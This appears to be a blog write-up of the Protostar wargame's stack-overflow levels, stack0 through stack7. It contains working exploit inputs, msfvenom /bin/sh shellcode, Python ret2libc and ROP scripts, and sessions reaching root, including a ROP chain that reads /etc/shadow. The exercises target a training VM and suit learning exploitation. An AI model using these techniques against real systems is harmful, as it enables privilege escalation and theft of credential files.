tcunha.github.io

The lesson of history is that no one learns.

Protostar Stack

stack0

Nice refresher with regards to the volatile type qualifier. It is needed to prevent the compiler from optimizing it away, given that it’s “always” set to zero (it might remove the if condition altogether). This is specially true for signal handlers:

1
2
3
4
5
6
7
8
9
10
11
sig_atomic_t    quit = 0;  /* Needs volatile! */

void
sigterm(int sig)
{
  quit = 1;
}

while (quit != 0) { /* This might be transformed to while (true). */
  ...
}

Given that the buffer is 64 bytes in size and the stack layout, writing one more will copy one over modified:

H +-------------+
  | ...         |
  | modified    |
  | buffer[64]  |   /* Being power of two means that it's aligned. */
  | ...         |
L +-------------+

To trigger the condition, the following command can be issued:

1
2
$ python -c 'print "1" * 65'|./stack0
you have changed the 'modified' variable

stack1

Like the above, given that the address of modified is four bytes above the buffer and (like the exercise says) by taking into account that this is a little endian platform (i386):

1
2
3
4
$ ./stack1 `python -c 'print "A" * 64 + "\x64\x63\x62\x61"'`  # or,
you have correctly got the variable to the right value
$ ./stack1 `python -c 'print "A" * 64 + "dcba"'`
you have correctly got the variable to the right value

stack2

The same as the last one but with an environment variable:

1
2
$ env GREENIE="`python -c 'print "A" * 64 + "\x0a\x0d\x0a\x0d"'`" ./stack2
you have correctly modified the variable

stack3

Disassembling, like the exercise says, with objdump and retrieving the address of the win() function yields the expected results:

1
2
$ objdump -d stack3|grep win
08048424 <win>:
1
2
3
$ python -c 'print "A" * 64 + "\x24\x84\x04\x08"'|./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

stack4

A poor man’s fuzzer can be used to guess the EIP address (and while at it, to take advantage of the redirect operator in gdb, like the exercise says):

1
2
3
$ python -c 'print "A" * offset + "B" * 4' >/tmp/dump
$ gdb ./stack4
(gdb) r </tmp/dump

The offset should be incremented until (76) the program crashes with a segfault in the 0x42424242 address. Now that EIP is under control, the above can be used to obtain the address of win:

1
2
$ objdump -d stack4|grep win
080483f4 <win>:
1
2
3
$ python -c 'print "A" * 76 + "\xf4\x83\x04\x08"'|./stack4
code flow successfully changed
Segmentation fault

The padding, like the exercise says, is added by the compiler.

stack5

This was kind of tricky, since the stack isn’t in the same place inside and outside GDB. The environment and the arguments vector (ie argv) must be the same.

First, brute-forced the number of bytes needed to overwrite EIP (76 in this case) and obtained the address of the stack with GDB:

$ python -c 'print "A" * 76 + "B" * 4 + "C" * 32' >/tmp/boom
$ env - TERM=xterm PWD=$PWD gdb /opt/protostar/bin/stack5
(gdb) unset env LINES
(gdb) unset env COLUMNS
(gdb) show env
TERM=xterm
PWD=/tmp
(gdb) r </tmp/boom
(gdb) info registers
(gdb) x/x $esp
0xbffffe30: 0x43434343

Generated the shellcode with:

1
2
3
4
5
6
7
8
# msfvenom -p linux/x86/exec -f py -a x86 --platform linux CMD=/bin/sh
No encoder or badchars specified, outputting raw payload
Payload size: 43 bytes
buf =  ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"
buf += "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"
buf += "\x89\xe1\xcd\x80"

As for the exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python

from struct import pack

off = 76
esp = pack("<L", 0xbffffe30)

buf =  ""
buf += "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += "\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"
buf += "\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"
buf += "\x89\xe1\xcd\x80"

payload = "A" * off
payload += esp
payload += buf

print payload

Then, ensure that the environment is the same as the above (without changing directories due to $PWD):

1
2
3
4
5
$ (python /tmp/boom.py; cat)|   \
  env - TERM=xterm PWD=$PWD     \
  /opt/protostar/bin/stack5
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

stack6

With the usual methodology, it was noticed that EIP is under control when overwriting at least eighty characters. The traditional ret2libc with the system function and faking a stack frame works as expected:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/python

from struct import pack

off = 80
sys = pack("<L", 0xb7ecffb0)    # system(3)
sh = pack("<L", 0xbfffffb8)     # /bin/sh

payload = "A" * off
payload += sys
payload += "FAKE"
payload += sh

print payload

The /bin/sh address might need the usual guessing and setting a regular environment inside and outside GDB:

1
2
3
4
5
6
$ (python /tmp/boom.py; cat)|                   \
  env - SHELL=/bin/sh TERM=xterm PWD=$PWD       \
  /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AAAAAAAAAAA��AKE����
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

As for the ROP one, I’ve opted by using a rather pointless open(2), read(2), write(2) and finally system(3) chain to play around a little. The gadgets addresses can be obtained by using objdump. Jumping to the middle of a multiple pop sequence might be needed and that’s okay.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python

from struct import pack

off = 80

# int open(const char *, int);
openaddr = pack("<L", 0xb7f537a0)
pop2 = pack("<L", 0x08048452)
openpath = pack("<L", 0xbfffffd6)       # SHADOW variable.
openflgs = pack("<L", 0x0)              # O_RDONLY

# ssize_t read(int, void *, size_t);
readaddr = pack("<L", 0xb7f53c00)
pop3 = pack("<L", 0x08048576)
readfd = pack("<L", 0x3)                # Only the standard ones are open.
readbuf = pack("<L", 0xbffff73c)        # getpath() buffer.
readcnt = pack("<L", 0x40)              # 64 bytes.

# ssize_t write(int, const void *, size_t);
writeaddr = pack("<L", 0xb7f53c70)
writefd = pack("<L", 0x2)               # stderr is unbuffered.
writebuf = readbuf
writecnt = readcnt

# int system(const char *);
sysaddr = pack("<L", 0xb7ecffb0)
pointless = "FAKE"
syscmd = pack("<L", 0xbfffffc7)         # SHELL variable.

payload = "A" * off
payload += openaddr + pop2 + openpath + openflgs
payload += readaddr + pop3 + readfd + readbuf + readcnt
payload += writeaddr + pop3 + writefd + writebuf + writecnt
payload += sysaddr + pointless + syscmd

print payload

Beware that the environment inherited from the parent may play tricks due to not being the same. Executing it through a clean environment all the time, such as the one below, solves this kind of issues:

1
2
3
4
5
6
$ (python /tmp/boom.py; cat)|                                  \
  env - TERM=xterm PWD=$PWD SHELL=/bin/sh SHADOW=/etc/shadow   \
  /opt/protostar/bin/stack6
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�7��AAAAAAAAAAAA�7��R��
root:$6$gOA4/iAf$EMw.4yshZLZxjlf./VmnEVQ20QsEmdzZa73csPGYGG6KC.rid
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)

The stack with the above ROP will look like:

H +---------------------+
  | ret (the variable)  |
  | buffer [0x41 * 80]  | <= 0xbffff73c
  | open(2)             | <= 0xb7f537a0
  | POP POP RET         | <= 0x08048452
  | /etc/shadow         | <= SHADOW variable.
  | openflgs            | <= O_RDONLY
  | read(2)             | <= 0xb7f53c00
  | POP POP POP RET     | <= 0x08048576
  | 0x3                 |
  | buffer              | <= 0xbffff73c
  | 0x40                |
  | write(2)            | <= 0xb7f53c70
  | POP POP POP RET     | <= 0x08048576
  | 0x2                 |
  | buffer              | <= 0xbffff73c
  | 0x40                |
  | system(3)           | <= 0xb7ecffb0
  | FAKE                |
  | /bin/sh             | <= SHELL variable.
L +---------------------+

stack7

Like the one above, this also places restrictions in the address that we are allowed to jump to. Therefore, like the exercise says we need to bypass this restriction by returning to a text section.

Decided with a straight ret opcode one, that pops the last value from the stack and updates EIP to that address (the system(3) function).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python

from struct import pack

off = 80
ret = pack("<L", 0x080484c2)    # the ret instruction (frame_dummy)
sys = pack("<L", 0xb7ecffb0)    # system(3)
sh = pack("<L", 0xbfffffbd)     # /bin/sh

payload = "A" * off
payload += ret
payload += sys
payload += "FAKE"
payload += sh

print payload
1
2
3
4
5
6
$ (python /tmp/boom.py; cat)|                   \
  env - TERM=xterm PWD=$PWD SHELL=/bin/sh       \
  /opt/protostar/bin/stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA��AKE��
id
uid=1001(user) gid=1001(user) euid=0(root) groups=0(root),1001(user)